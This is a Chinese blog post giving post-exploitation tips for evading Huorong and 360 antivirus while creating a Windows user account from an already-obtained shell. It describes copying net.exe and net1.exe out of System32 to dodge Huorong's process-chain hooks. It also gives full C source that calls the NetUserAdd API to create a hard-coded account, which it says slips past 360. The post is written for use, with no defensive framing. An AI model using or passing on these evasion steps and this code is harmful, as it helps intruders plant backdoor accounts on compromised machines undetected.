首页 > 其他分享 >绕过杀软NetUser的小tips

绕过杀软NetUser的小tips

时间:2023-07-26 21:49:09浏览次数:36  
标签:exe Windows 杀软 NetUser ui usri1 net tips user

在拿了shell上线了的情况下,通过net user add新建用户经常会被杀软拦截拒绝访问,以比较常用的火绒和360为例,简单说一下绕过的小tips

某绒

可以看到通过net user命令新建用户,火绒拦了,检测的是cmd.exe去执行C:\Windows\System32\net.exe

把C:\Windows\System32\net.exe复制出来放到别的文件夹下,这里我放在test里面

重新执行net.exe user huorong 123 /add ,可以看到现在火绒检测的是net.exe去操作C:\Windows\System32\net1.exe

同理,把net1.exe复制出来去执行,成功执行了新建用户,且火绒没有提示

挺简单暴力的一个方式,综上可以看到火绒hook的是

cmd.exe -> C:\Windows\System32\net.exe -> C:\Windows\System32\net1.exe

某60

先使用正常的net user add添加用户,直接拦了

我们同上某绒的操作去绕过,发现绕过不去

net1.exe是调用win32api来进行新建用户,尝试写一个api看360有没有hook

#ifndef UNICODE    
#define UNICODE    
#endif    
#include  <stdio.h>  
#include  <windows.h>  
#include  <lm.h>  
#pragma comment(lib,"netapi32")    

int wmain(int argc, wchar_t* argv[])
{
	const wchar_t* username = L"bin123";	// username
	const wchar_t* password = L"Abc123123";	// password

	// 定义并初始化 USER_INFO_1 结构体,用于保存新用户的信息
	USER_INFO_1 ui;
	DWORD dwError = 0;
	ui.usri1_name = (wchar_t*)username; //设置用户名
	ui.usri1_password = (wchar_t*)password;//设置密码
	ui.usri1_priv = USER_PRIV_USER; //设置用户权限为普通用户
	ui.usri1_home_dir = NULL;
	ui.usri1_comment = NULL;
	ui.usri1_flags = UF_SCRIPT;
	ui.usri1_script_path = NULL;

	//调用Windows API函数NetuserAdd来添加新用户
	if (NetUserAdd(NULL, 1, (LPBYTE)&ui, &dwError) == NERR_Success) {
		printf("add user success\n");
	}
	else
	{
		printf("add user fail\n");
	}
	return 0;
}

生成解决方案后运行,可以看到直接绕过360新建用户

标签:exe,Windows,杀软,NetUser,ui,usri1,net,tips,user
From: https://www.cnblogs.com/uein/p/17583594.html

相关文章

  • web前端tips:js继承——原型链继承
    原型链继承原型链继承是JavaScript中实现继承的一种方式,它通过使用原型来实现对象之间的继承关系。在JavaScript中,每个对象都有一个原型(prototype),它是一个指向另一个对象的引用。当我们访问一个对象的属性时,如果该对象自身没有该属性,则会去它的原型上查找,如果原型上也没有,则......
  • qForms tips
    官方教程http://www.pengoworks.com/qforms/docs/index.htm1set和getform中的field的代码本来obj.fieldName.getValue()可以用来获取form中某个field的值,用obj.fieldName.setValue()可以用来设置form中某个field的值。如js为:functiontestqForm(){alert(wfqForm.tex......
  • nginx反代配置tips
    nginx轮训导致验证码不正确在upstream里添加ip_hash;,例子:http{upstreamtest{#这样同一台电脑会一直访问到同一台机器ip_hash;server172.0.0.1:8080;}}静态资源访问出错在location里重写header:server{location/{......
  • 【Tips】克隆网站为单个HTML文件、将一个完整的页面保存到单个 HTML 文件中
    ProjectonGitHub:https://github.com/gildas-lormeau/SingleFileChrome插件市场https://chrome.google.com/webstore/detail/singlefile/mpiodijhokgodhhofbcjdecpffjipkle ......
  • Tips
    周赛6B很大的某一段区间内查找内某种数的出现次数是,利用id[i],lower_bound和upper_bound.cnt(l,r)=upper_bound(id+1,id+1+n,r)-lower_bound(id+1,id+1+n,l)很多多个数涉及&,|,^的,常常把每个数拆分成二进制进而探讨规律。3.周考7B把序列转化为数字:要考虑每一位上是否有负数......
  • TIPS清洁和缩小毛孔
    清洁和缩小毛孔是许多人关注的美容问题。以下是一些常见的方法来清洁和缩小毛孔:清洁步骤:每天使用温和的洗面奶清洁脸部,特别注意T区(额头、鼻子和下巴)的清洁。避免使用过度刺激或含有硫酸盐的产品,因为它们可能使皮肤更干燥。定期去角质,以帮助去除死皮细胞和深层清洁毛孔。选择......
  • Xml Tips
    XmlTips1.xml中的注释<!--这是注释-->并非用于XML分析器的内容(例如与文档结构或编辑有关的说明)可以包含在注释中。注释以<!--开头,以-->结尾,例如<!--cataloglastupdated2000-11-01-->。注释可以出现在文档序言中,包括文档类型定义(DTD);......
  • Tips: How to Get the Currently Selected HTML Content in Major Browsers
    functiongetSelectionHtml(){constsel=window.getSelection();if(sel.rangeCount){varcontainer=document.createElement("div");for(vari=0,len=sel.rangeCount;i<len;++i){container.appendCh......
  • 小tips:docker 配置国内镜像地址
    在配置文件daemon.json中添加国内镜像,让其下载加速。vi/etc/docker/daemon.json如下国内镜像:{"registry-mirrors":["https://registry.docker-cn.com","http://hub-mirror.c.163.com","https://docker.mirrors.ustc.edu.cn"]d......
  • DataTable DataRow String Tips...
       与datatable奋战了一天,记录一下。。。      1.查看得到的datatable是否为空datatable.Rows.Count   2.查看得到的DataRow[]是否为空,可用DataRow.Length   3.DataTable在进行select的时候,默认是CaseSensitive为false   4.......